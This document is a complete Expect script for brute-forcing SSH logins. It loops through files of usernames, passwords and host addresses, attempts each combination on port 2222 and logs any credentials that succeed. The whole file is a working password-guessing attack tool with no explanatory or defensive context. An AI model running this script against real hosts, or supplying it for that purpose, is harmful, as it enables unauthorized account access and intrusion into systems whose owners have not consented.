#!/usr/bin/expect -f set timeout 5 set dictionary [lindex $argv 0] set file [lindex $argv 1] set user [lindex $argv 2] if {[llength $argv] != 3} { puts stderr "Usage: $argv0 \n" exit } set tryHost [open $file r] set tryPass [open $dictionary r] set tryUser [open $user r] set passwords [read $tryPass] set hosts [read $tryHost] set login [read $tryUser] set logFile [open log a] foreach username $login { foreach passwd $passwords { foreach ip $hosts { puts stderr "\n" spawn ssh -p 2222 $username@$ip expect ":" send "$passwd\n" expect "L" { puts $logFile "password for $username@$ip is $passwd\n" close $logFile } set id [exp_pid] exec kill -INT $id } } }